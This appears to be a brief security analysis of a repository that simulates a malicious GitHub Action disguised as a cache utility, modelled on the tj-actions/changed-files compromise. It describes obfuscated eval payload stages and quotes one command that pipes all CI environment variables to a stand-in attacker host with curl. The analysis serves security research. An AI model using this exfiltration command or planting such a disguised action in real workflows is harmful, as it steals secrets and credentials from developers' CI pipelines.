Embedded malicious code in tj-actions/changed-files

This repository is a small malicious GitHub Action disguised as a benign cache utility. It contains three files: a minimal README describing it as a simulated compromised action for security research, an action.yml manifest defining a Node 20 GitHub Action named 'Cache Files', and dist/index.js containing the actual logic. The JavaScript implements a lightweight mock of @actions/core helpers, accepts path and key inputs, and performs plausible cache-related output generation to appear legitimate. However, before the normal run() logic, it executes two obfuscated payload stages using eval: one from a hex-decoded string and another from a base64-decoded string. The second stage imports child_process.execSync and runs 'printenv | curl -X POST -d @- https://attacker.example.com/envs', which exfiltrates all runner environment variables to an attacker-controlled endpoint. This is a supply-chain style CI/CD compromise pattern consistent with the README's stated simulation of CVE-2025-30066-style malicious GitHub Actions behavior. The exploit capability is credential and secret theft from CI environments, not host takeover. The code is operational rather than a mere proof of concept because it includes a working hardcoded exfiltration command and preserves expected action behavior to evade detection.